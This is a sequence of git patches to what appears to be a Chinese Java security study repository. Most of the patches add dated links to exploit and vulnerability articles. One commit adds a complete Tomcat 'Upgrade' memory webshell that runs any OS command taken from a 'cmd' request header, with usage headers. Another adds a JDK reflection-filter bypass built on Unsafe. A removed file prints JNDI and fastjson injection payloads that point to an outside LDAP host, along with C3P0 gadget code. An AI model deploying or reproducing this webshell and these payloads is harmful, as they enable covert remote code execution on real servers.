@@ -158,3 +158,4 @@ + 2022/09/11 [通过动态链接库绕过反病毒软件Hook - Break JVM](https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&mid=2247483882&idx=1&sn=011c3f231d38d899bcf8bf21010616a0&chksm=9038acbaa74f25acd2983131a4b309424985fde3538cd8a93409336e317a4393350f75c7e334&scene=132#wechat_redirect) + 2022/09/16 [研究 XSS 到 RCE 缺陷的开源应用程序](https://swarm.ptsecurity.com/researching-open-source-apps-for-xss-to-rce-flaws/) **xss->rce** + 2022/09/17 [JAVA反序列化中 RMI JRMP 以及JNDI多种利用方式详解](https://mp.weixin.qq.com/s/tAPCzt6Saq5q7W0P7kBdJg) ++ 2022/09/19 [冰蝎v4.0传输协议详解](https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A) From 5e790ec8cb65a3cae8b3bdfc0f2c3ca05355558f Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 20 Sep 2022 21:14:05 +0800 Subject: [PATCH 044/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 6ac687a..25d842d 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -159,3 +159,4 @@ + 2022/09/16 [研究 XSS 到 RCE 缺陷的开源应用程序](https://swarm.ptsecurity.com/researching-open-source-apps-for-xss-to-rce-flaws/) **xss->rce** + 2022/09/17 [JAVA反序列化中 RMI JRMP 以及JNDI多种利用方式详解](https://mp.weixin.qq.com/s/tAPCzt6Saq5q7W0P7kBdJg) + 2022/09/19 [冰蝎v4.0传输协议详解](https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A) ++ 2022/09/20 [CVE-2022-26377: Apache HTTPd AJP Request Smuggling](http://noahblog.360.cn/apache-httpd-ajp-request-smuggling/) **好牛皮啊** From bf60900e50187054bbc1e75c4a7cfd49a3d84dcf Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 23 Sep 2022 14:49:19 +0800 Subject: [PATCH 045/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 25d842d..0b18a57 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -160,3 +160,4 @@ + 2022/09/17 [JAVA反序列化中 RMI JRMP 以及JNDI多种利用方式详解](https://mp.weixin.qq.com/s/tAPCzt6Saq5q7W0P7kBdJg) + 2022/09/19 [冰蝎v4.0传输协议详解](https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A) + 2022/09/20 [CVE-2022-26377: Apache HTTPd AJP Request Smuggling](http://noahblog.360.cn/apache-httpd-ajp-request-smuggling/) **好牛皮啊** ++ 2022/09/23 [cve-2010-4452 codebase 和code标签属性未检测同源策略导致任意代码执行漏洞](https://blog.csdn.net/instruder/article/details/7730905) **学习** From 69cdaa189e2a401161c90c2efedf7332f94063fe Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 23 Sep 2022 23:55:38 +0800 Subject: [PATCH 046/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 0b18a57..7c01619 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -161,3 +161,4 @@ + 2022/09/19 [冰蝎v4.0传输协议详解](https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A) + 2022/09/20 [CVE-2022-26377: Apache HTTPd AJP Request Smuggling](http://noahblog.360.cn/apache-httpd-ajp-request-smuggling/) **好牛皮啊** + 2022/09/23 [cve-2010-4452 codebase 和code标签属性未检测同源策略导致任意代码执行漏洞](https://blog.csdn.net/instruder/article/details/7730905) **学习** ++ 2022/09/23 [Java运行代码的效率怎么提高](https://blog.csdn.net/qf2019/article/details/109351547) [JAVA实现大文件多线程下载，提速30倍](https://blog.csdn.net/qq_19749625/article/details/120009749) **java效率提高** From 92683e32d154813cc5b117fd4e73d8533c292f82 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 26 Sep 2022 13:22:52 +0800 Subject: [PATCH 047/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 7c01619..4b5decd 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -162,3 +162,4 @@ + 2022/09/20 [CVE-2022-26377: Apache HTTPd AJP Request Smuggling](http://noahblog.360.cn/apache-httpd-ajp-request-smuggling/) **好牛皮啊** + 2022/09/23 [cve-2010-4452 codebase 和code标签属性未检测同源策略导致任意代码执行漏洞](https://blog.csdn.net/instruder/article/details/7730905) **学习** + 2022/09/23 [Java运行代码的效率怎么提高](https://blog.csdn.net/qf2019/article/details/109351547) [JAVA实现大文件多线程下载，提速30倍](https://blog.csdn.net/qq_19749625/article/details/120009749) **java效率提高** ++ 2022/09/26 [一次老版本jboss反序列化漏洞的利用分析](https://mp.weixin.qq.com/s/7oyRYlNUJ4neAdDRkxL2Rg) **低版本的jboss 重挖，不错** From 7bcef03b26b097d9127ca1c30aad7bcb92ea5f2d Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 26 Sep 2022 21:43:07 +0800 Subject: [PATCH 048/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 4b5decd..0472cfa 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -163,3 +163,4 @@ + 2022/09/23 [cve-2010-4452 codebase 和code标签属性未检测同源策略导致任意代码执行漏洞](https://blog.csdn.net/instruder/article/details/7730905) **学习** + 2022/09/23 [Java运行代码的效率怎么提高](https://blog.csdn.net/qf2019/article/details/109351547) [JAVA实现大文件多线程下载，提速30倍](https://blog.csdn.net/qq_19749625/article/details/120009749) **java效率提高** + 2022/09/26 [一次老版本jboss反序列化漏洞的利用分析](https://mp.weixin.qq.com/s/7oyRYlNUJ4neAdDRkxL2Rg) **低版本的jboss 重挖，不错** ++ 2022/09/26 [CS反制之批量伪装上线](https://forum.butian.net/share/708) **思路不错。** From 4e56cffcd809587ee0af6bef615538f7ae9c04ea Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 26 Sep 2022 21:52:27 +0800 Subject: [PATCH 049/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 0472cfa..83b5ca2 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -164,3 +164,4 @@ + 2022/09/23 [Java运行代码的效率怎么提高](https://blog.csdn.net/qf2019/article/details/109351547) [JAVA实现大文件多线程下载，提速30倍](https://blog.csdn.net/qq_19749625/article/details/120009749) **java效率提高** + 2022/09/26 [一次老版本jboss反序列化漏洞的利用分析](https://mp.weixin.qq.com/s/7oyRYlNUJ4neAdDRkxL2Rg) **低版本的jboss 重挖，不错** + 2022/09/26 [CS反制之批量伪装上线](https://forum.butian.net/share/708) **思路不错。** ++ 2022/09/26 [浅谈JFinal的DenyAccessJsp绕过](https://forum.butian.net/share/1899) **路径绕过url编码** From e0008a4e09a2b796f8e8a80c8cc61e0a63743879 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 29 Sep 2022 14:24:29 +0800 Subject: [PATCH 050/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 83b5ca2..bfcb129 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -165,3 +165,4 @@ + 2022/09/26 [一次老版本jboss反序列化漏洞的利用分析](https://mp.weixin.qq.com/s/7oyRYlNUJ4neAdDRkxL2Rg) **低版本的jboss 重挖，不错** + 2022/09/26 [CS反制之批量伪装上线](https://forum.butian.net/share/708) **思路不错。** + 2022/09/26 [浅谈JFinal的DenyAccessJsp绕过](https://forum.butian.net/share/1899) **路径绕过url编码** ++ 2022/09/29 [TCTF 2019 线上赛 web 题 writeup](https://www.k0rz3n.com/2019/04/04/TCTF%202019%20%E7%BA%BF%E4%B8%8A%E8%B5%9B%20web%20%E9%A2%98%20writeup/) [在Java EE Servers环境下利用Jolokia Agent漏洞](https://www.freebuf.com/vuls/166695.html) From f68e12bfebc19e66aa810baddf4b01c788f00334 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 29 Sep 2022 16:43:40 +0800 Subject: [PATCH 051/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index bfcb129..2bec876 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -166,3 +166,4 @@ + 2022/09/26 [CS反制之批量伪装上线](https://forum.butian.net/share/708) **思路不错。** + 2022/09/26 [浅谈JFinal的DenyAccessJsp绕过](https://forum.butian.net/share/1899) **路径绕过url编码** + 2022/09/29 [TCTF 2019 线上赛 web 题 writeup](https://www.k0rz3n.com/2019/04/04/TCTF%202019%20%E7%BA%BF%E4%B8%8A%E8%B5%9B%20web%20%E9%A2%98%20writeup/) [在Java EE Servers环境下利用Jolokia Agent漏洞](https://www.freebuf.com/vuls/166695.html) ++ 2022/9/29 [从JDBC attack到detectCustomCollations利用范围扩展](https://xz.aliyun.com/t/11610) **扩展思路** From df9e765c02fd05924778fa091965a139e8dfa2d6 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 4 Oct 2022 18:18:28 +0800 Subject: [PATCH 052/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 2bec876..61e5771 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -167,3 +167,4 @@ + 2022/09/26 [浅谈JFinal的DenyAccessJsp绕过](https://forum.butian.net/share/1899) **路径绕过url编码** + 2022/09/29 [TCTF 2019 线上赛 web 题 writeup](https://www.k0rz3n.com/2019/04/04/TCTF%202019%20%E7%BA%BF%E4%B8%8A%E8%B5%9B%20web%20%E9%A2%98%20writeup/) [在Java EE Servers环境下利用Jolokia Agent漏洞](https://www.freebuf.com/vuls/166695.html) + 2022/9/29 [从JDBC attack到detectCustomCollations利用范围扩展](https://xz.aliyun.com/t/11610) **扩展思路** ++ 2022/10/04 [为什么预编译可以防止sql注入](https://m.php.cn/faq/418626.html) **预编译可以防止sql注入的原因：允许数据库做参数化查询。在使用参数化查询的情况下，数据库不会将参数的内容视为SQL执行的一部分，而是作为一个字段的属性值来处理，这样就算参数中包含破环性语句（or ‘1=1’）也不会被执行。** From f22f680cf2aee58989104c6b2d2c4615e6475e21 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 5 Oct 2022 17:10:29 +0800 Subject: [PATCH 053/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 61e5771..50449d7 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -168,3 +168,4 @@ + 2022/09/29 [TCTF 2019 线上赛 web 题 writeup](https://www.k0rz3n.com/2019/04/04/TCTF%202019%20%E7%BA%BF%E4%B8%8A%E8%B5%9B%20web%20%E9%A2%98%20writeup/) [在Java EE Servers环境下利用Jolokia Agent漏洞](https://www.freebuf.com/vuls/166695.html) + 2022/9/29 [从JDBC attack到detectCustomCollations利用范围扩展](https://xz.aliyun.com/t/11610) **扩展思路** + 2022/10/04 [为什么预编译可以防止sql注入](https://m.php.cn/faq/418626.html) **预编译可以防止sql注入的原因：允许数据库做参数化查询。在使用参数化查询的情况下，数据库不会将参数的内容视为SQL执行的一部分，而是作为一个字段的属性值来处理，这样就算参数中包含破环性语句（or ‘1=1’）也不会被执行。** ++ 2022/10/05 [JavaMelody 漏洞](https://mp.weixin.qq.com/s?__biz=MzU1OTU3ODk0OQ==&mid=2247484382&idx=1&sn=bb8b97a74d99a5c361db431898a953d9&chksm=fc1469f4cb63e0e261e53faa8728ff57c72f5694034dda028d08904fe775fa1654f82cb690aa&scene=178&cur_album_id=2327370482917965825#rd) From f4571ad0e360dbe2657a9d39c03b011de1313307 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 5 Oct 2022 19:58:43 +0800 Subject: [PATCH 054/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 50449d7..b7a23e1 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -169,3 +169,4 @@ + 2022/9/29 [从JDBC attack到detectCustomCollations利用范围扩展](https://xz.aliyun.com/t/11610) **扩展思路** + 2022/10/04 [为什么预编译可以防止sql注入](https://m.php.cn/faq/418626.html) **预编译可以防止sql注入的原因：允许数据库做参数化查询。在使用参数化查询的情况下，数据库不会将参数的内容视为SQL执行的一部分，而是作为一个字段的属性值来处理，这样就算参数中包含破环性语句（or ‘1=1’）也不会被执行。** + 2022/10/05 [JavaMelody 漏洞](https://mp.weixin.qq.com/s?__biz=MzU1OTU3ODk0OQ==&mid=2247484382&idx=1&sn=bb8b97a74d99a5c361db431898a953d9&chksm=fc1469f4cb63e0e261e53faa8728ff57c72f5694034dda028d08904fe775fa1654f82cb690aa&scene=178&cur_album_id=2327370482917965825#rd) ++ 2022/10/05 [一种新的Tomcat内存马 - Upgrade内存马](https://tttang.com/archive/1709) From 351c10a9c59825a0a8150200a6a45494546e42d4 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 5 Oct 2022 21:23:33 +0800 Subject: [PATCH 055/254] Create Readme.md --- .../Upgrade/Readme.md" | 92 +++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 "java\345\206\205\345\255\230\351\251\254/Upgrade/Readme.md" diff --git "a/java\345\206\205\345\255\230\351\251\254/Upgrade/Readme.md" "b/java\345\206\205\345\255\230\351\251\254/Upgrade/Readme.md" new file mode 100644 index 0000000..66f26f0 --- /dev/null +++ "b/java\345\206\205\345\255\230\351\251\254/Upgrade/Readme.md" @@ -0,0 +1,92 @@ +# Upgrade + +参考：https://tttang.com/archive/1709 + +```java +package com.example.demo; + + +import org.apache.catalina.connector.Connector; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.RequestFacade; +import org.apache.coyote.Adapter; +import org.apache.coyote.Processor; +import org.apache.coyote.Response; +import org.apache.coyote.UpgradeProtocol; +import org.apache.coyote.http11.AbstractHttp11Protocol; +import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler; +import org.apache.tomcat.util.net.SocketWrapperBase; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; + +import javax.servlet.http.HttpServletRequest; +import java.lang.reflect.Field; +import java.nio.ByteBuffer; +import java.util.HashMap; + +public class UpgradeMemShell implements UpgradeProtocol { + + public UpgradeMemShell() throws Exception{ + HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); + RequestFacade rf = (RequestFacade) request; + Field requestField = RequestFacade.class.getDeclaredField("request"); + requestField.setAccessible(true); + Request request1 = (Request) requestField.get(rf); + + Field connector = Request.class.getDeclaredField("connector"); + connector.setAccessible(true); + Connector realConnector = (Connector) connector.get(request1); + + Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler"); + protocolHandlerField.setAccessible(true); + AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector); + + HashMap upgradeProtocols = null; + Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols"); + upgradeProtocolsField.setAccessible(true); + upgradeProtocols = (HashMap) upgradeProtocolsField.get(handler); + upgradeProtocols.put("http2.0", this); + upgradeProtocolsField.set(handler, upgradeProtocols); + System.out.println("success"); + } + + @Override + public String getHttpUpgradeName(boolean b) { + return null; + } + + @Override + public byte[] getAlpnIdentifier() { + return new byte[0]; + } + + @Override + public String getAlpnName() { + return null; + } + + @Override + public Processor getProcessor(SocketWrapperBase socketWrapperBase, Adapter adapter) { + return null; + } + + @Override + public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) { + return null; + } + + public boolean accept(org.apache.coyote.Request request) { + System.out.println("MyUpgrade.accept"); + String p = request.getHeader("cmd"); + try { + String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p}; + Field response = org.apache.coyote.Request.class.getDeclaredField("response"); + response.setAccessible(true); + Response resp = (Response) response.get(request); + byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes(); + resp.doWrite(ByteBuffer.wrap(result)); + } catch (Exception e){} + return false; + } +} +``` From c5700834536524367770e550cb8302226bd601e0 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 5 Oct 2022 21:24:47 +0800 Subject: [PATCH 056/254] Update Readme.md --- .../Upgrade/Readme.md" | 7 +++++++ 1 file changed, 7 insertions(+) diff --git "a/java\345\206\205\345\255\230\351\251\254/Upgrade/Readme.md" "b/java\345\206\205\345\255\230\351\251\254/Upgrade/Readme.md" index 66f26f0..596af80 100644 --- "a/java\345\206\205\345\255\230\351\251\254/Upgrade/Readme.md" +++ "b/java\345\206\205\345\255\230\351\251\254/Upgrade/Readme.md" @@ -90,3 +90,10 @@ public class UpgradeMemShell implements UpgradeProtocol { } } ``` + +使用 +```txt +Upgrade: http2.o +cmd: calc +Connection: Upgrade +``` From 7f0fb3b6b052194022eeb6ce759e6a25b37de401 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 6 Oct 2022 09:22:54 +0800 Subject: [PATCH 057/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index b7a23e1..b8bc2c3 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -170,3 +170,4 @@ + 2022/10/04 [为什么预编译可以防止sql注入](https://m.php.cn/faq/418626.html) **预编译可以防止sql注入的原因：允许数据库做参数化查询。在使用参数化查询的情况下，数据库不会将参数的内容视为SQL执行的一部分，而是作为一个字段的属性值来处理，这样就算参数中包含破环性语句（or ‘1=1’）也不会被执行。** + 2022/10/05 [JavaMelody 漏洞](https://mp.weixin.qq.com/s?__biz=MzU1OTU3ODk0OQ==&mid=2247484382&idx=1&sn=bb8b97a74d99a5c361db431898a953d9&chksm=fc1469f4cb63e0e261e53faa8728ff57c72f5694034dda028d08904fe775fa1654f82cb690aa&scene=178&cur_album_id=2327370482917965825#rd) + 2022/10/05 [一种新的Tomcat内存马 - Upgrade内存马](https://tttang.com/archive/1709) ++ 2022/10/06 [HSQLDB 安全测试指南](https://b1ue.cn/archives/458.html) From 7c2cd304788cb83e904b43ab71b57d177b0636a7 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 6 Oct 2022 15:57:15 +0800 Subject: [PATCH 058/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index b8bc2c3..3625db3 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -171,3 +171,4 @@ + 2022/10/05 [JavaMelody 漏洞](https://mp.weixin.qq.com/s?__biz=MzU1OTU3ODk0OQ==&mid=2247484382&idx=1&sn=bb8b97a74d99a5c361db431898a953d9&chksm=fc1469f4cb63e0e261e53faa8728ff57c72f5694034dda028d08904fe775fa1654f82cb690aa&scene=178&cur_album_id=2327370482917965825#rd) + 2022/10/05 [一种新的Tomcat内存马 - Upgrade内存马](https://tttang.com/archive/1709) + 2022/10/06 [HSQLDB 安全测试指南](https://b1ue.cn/archives/458.html) ++ 2022/10/06 [Linux terminal/tty/pty and shell](https://kangxiaoning.github.io/post/2021/05/linux-terminal-tty-pty-and-shell/) From 949c1f10328121fdd98f47914c38b567b483bc38 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 6 Oct 2022 19:26:24 +0800 Subject: [PATCH 059/254] Create Readme.md --- Jdk/Readme.md | 65 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 65 insertions(+) create mode 100644 Jdk/Readme.md diff --git a/Jdk/Readme.md b/Jdk/Readme.md new file mode 100644 index 0000000..7366273 --- /dev/null +++ b/Jdk/Readme.md @@ -0,0 +1,65 @@ +# JDK + +jdk>12不能反射修改下面class的成员。 +![image](https://user-images.githubusercontent.com/63966847/194300821-dd1bf0bc-b5bd-4680-aa35-49a5d4c8adb4.png) +思路是通过unsafe api去修改Reflection类的成员，赋值为null. +```java + +import sun.misc.Unsafe; +import java.io.ByteArrayOutputStream; +import java.io.InputStream; +import java.lang.reflect.Field; +import java.util.HashMap; + +public class bypass { + private static Unsafe getUnsafe() { + Unsafe unsafe = null; + try { + Field field = Unsafe.class.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (Unsafe) field.get(null); + } catch (Exception e) { + throw new AssertionError(e); + } + return unsafe; + } + public static byte[] readInputStream(InputStream inputStream) { + byte[] temp = new byte[4096]; + int readOneNum = 0; + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + try { + while ((readOneNum = inputStream.read(temp)) != -1) { + bos.write(temp, 0, readOneNum); + } + inputStream.close(); + }catch (Exception e){ + } + return bos.toByteArray(); + } + + public void bypassReflectionFilter()throws Exception{ + Unsafe unsafe = getUnsafe(); + Class reflectionClass=Class.forName("jdk.internal.reflect.Reflection"); + byte[] classBuffer = readInputStream(reflectionClass.getResourceAsStream("Reflection.class")); + //定义一个类，但不让类加载器知道它。 + Class reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass,classBuffer,null); + + Field fieldFilterMapField=reflectionAnonymousClass.getDeclaredField("fieldFilterMap"); + Field methodFilterMapField=reflectionAnonymousClass.getDeclaredField("methodFilterMap"); + + if(fieldFilterMapField.getType().isAssignableFrom(HashMap.class)){ + unsafe.putObject(reflectionClass,unsafe.staticFieldOffset(fieldFilterMapField),new HashMap()); + } + if(methodFilterMapField.getType().isAssignableFrom(HashMap.class)){ + unsafe.putObject(reflectionClass,unsafe.staticFieldOffset(methodFilterMapField),new HashMap()); + } + } + public static void main(String[] args) throws Exception{ + //绕过Java 反射过滤获取ClassLoader私有字段 + //ClassLoader.class.getDeclaredField("parent");//在之前反射会报错 + new bypass().bypassReflectionFilter(); + ClassLoader.class.getDeclaredField("parent");//在之后反射可以bypass + } +} +``` +参考:https://github.com/BeichenDream/Kcon2021Code/blob/master/bypassJdk/JdkSecurityBypass.java From 9cee9aeea248680dbeb95778f4d4a273d11ff974 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 6 Oct 2022 19:31:45 +0800 Subject: [PATCH 060/254] Update Readme.md --- Jdk/Readme.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/Jdk/Readme.md b/Jdk/Readme.md index 7366273..fd5b9b0 100644 --- a/Jdk/Readme.md +++ b/Jdk/Readme.md @@ -45,14 +45,15 @@ public class bypass { Class reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass,classBuffer,null); Field fieldFilterMapField=reflectionAnonymousClass.getDeclaredField("fieldFilterMap"); - Field methodFilterMapField=reflectionAnonymousClass.getDeclaredField("methodFilterMap"); + //不需要 + //Field methodFilterMapField=reflectionAnonymousClass.getDeclaredField("methodFilterMap"); if(fieldFilterMapField.getType().isAssignableFrom(HashMap.class)){ unsafe.putObject(reflectionClass,unsafe.staticFieldOffset(fieldFilterMapField),new HashMap()); } - if(methodFilterMapField.getType().isAssignableFrom(HashMap.class)){ - unsafe.putObject(reflectionClass,unsafe.staticFieldOffset(methodFilterMapField),new HashMap()); - } + //if(methodFilterMapField.getType().isAssignableFrom(HashMap.class)){ + // unsafe.putObject(reflectionClass,unsafe.staticFieldOffset(methodFilterMapField),new HashMap()); + //} } public static void main(String[] args) throws Exception{ //绕过Java 反射过滤获取ClassLoader私有字段 From 1e6185235b32c44dd0c0db653714953e0f592fc5 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 7 Oct 2022 18:03:47 +0800 Subject: [PATCH 061/254] Create Readme.md --- JVM/Readme.md | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 JVM/Readme.md diff --git a/JVM/Readme.md b/JVM/Readme.md new file mode 100644 index 0000000..5c66caf --- /dev/null +++ b/JVM/Readme.md @@ -0,0 +1,5 @@ +# JVM + +>自己在学习jvm这本书会记录其中的知识点. + ++ [通过实例一行一行分析JVM的invokespecial和invokevirtual指令](http://wxweven.win/2017/09/15/JVM-invokespecial%E5%92%8Cinvokevirtual/) From 762b14c6e3e27b999147cce0112801ea4af2deae Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 7 Oct 2022 18:04:22 +0800 Subject: [PATCH 062/254] Delete jndi-gadgets.md --- jndi-gadgets.md | 33 --------------------------------- 1 file changed, 33 deletions(-) delete mode 100644 jndi-gadgets.md diff --git a/jndi-gadgets.md b/jndi-gadgets.md deleted file mode 100644 index bad3ffb..0000000 --- a/jndi-gadgets.md +++ /dev/null @@ -1,33 +0,0 @@ -``` -{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory","jndiNames":["ldap://1.116.136.120:1600/TomcatBypass/TomcatEcho"],"Realms":[""],"a":"a"} - -{"object":["com.mchange.v2.c3p0.JndiRefForwardingDataSource",{"jndiName":"rmi://localhost:8088/Exploit", "loginTimeout":0}]} - -InputStream in = new FileInputStream("C3P0.ser"); -byte[] data = toByteArray(in); -in.close(); -String HexString = bytesToHexString(data, data.length); -String poc = "{\"object\":[\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",{\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ HexString + ";\"}]}"; -System.out.println(poc); - -public static byte[] toByteArray(InputStream in) throws IOException { - byte[] classBytes; - classBytes = new byte[in.available()]; - in.read(classBytes); - in.close(); - return classBytes; -} - -public static String bytesToHexString(byte[] bArray, int length) { - StringBuffer sb = new StringBuffer(length); - for(int i = 0; i < length; ++i) { - String sTemp = Integer.toHexString(255 & bArray[i]); - if (sTemp.length() < 2) { - sb.append(0); - } - - sb.append(sTemp.toUpperCase()); - } - return sb.toString(); -} -``` From 4459f1ac2c68be882cab1c9482f093b18b02b532 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 7 Oct 2022 18:06:09 +0800 Subject: [PATCH 063/254] Update README.md --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 7a7d092..afcf094 100644 --- a/README.md +++ b/README.md @@ -22,6 +22,8 @@ + 2022/01/14 [添加了dubbo漏洞分析](Dubbo) 💛 💙 💜 ❤️ 💚 + 2022/01/16 [添加CAS漏洞学习](CAS) 💛 💙 💜 ❤️ 💚 + 2022/03/18 [添加Solr利用exp](Solr) 💛 💙 💜 ❤️ 💚 ++ 2022/10/07 [添加jvm的学习笔记](JVM) 💛 💙 💜 ❤️ 💚 ++ 2022/10/07 [添加JDK里面的trick](JDK) 💛 💙 💜 ❤️ 💚 From 8673174ad5c42e9c1cb265472803a566adf6fcef Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 8 Oct 2022 10:17:05 +0800 Subject: 